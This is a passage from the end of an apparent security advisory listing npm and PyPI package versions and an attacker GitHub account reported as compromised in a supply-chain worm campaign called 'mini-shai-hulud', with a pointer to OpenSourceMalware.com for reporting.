npm	@uipath/tool-workflowcompiler	0.0.12	10fe3010
npm	@uipath/traces-tool	1.0.1	c4e9cf61
npm	@uipath/ui-widgets-multi-file-upload	1.0.1	7d5bb13a

Registry	Package	Compromised Versions	OSM
npm	@uipath/uipath-python-bridge	1.0.1	3322b323
npm	@uipath/vertical-solutions-tool	1.0.1	7fe7518f
npm	@uipath/vss	0.1.6	eb22a95d
npm	@uipath/widget.sdk	1.2.3	6b8ea3b6
npm	wot-api	0.8.1, 0.8.2, 0.8.3, 0.8.4	06203927
pypi	guardrails-ai	0.10.1	7285a55e
pypi	mistralai	2.4.6	08b296b4
github	voicproducoes (attacker GitHub account)	n/a	67ffb546

If you encounter a package you suspect is compromised, please report it to [OpenSourceMalware.com](#). All 173 entries from this campaign — npm packages, PyPI packages, and the attacker's GitHub account — are searchable there under tag `mini-shai-hulud`.

Stay safe out there.

Tags: #npm #pypi #supply-chain #worm #mini-shai-hulud #teampcp #opensearch #mistral #credential-theft #oidc-abuse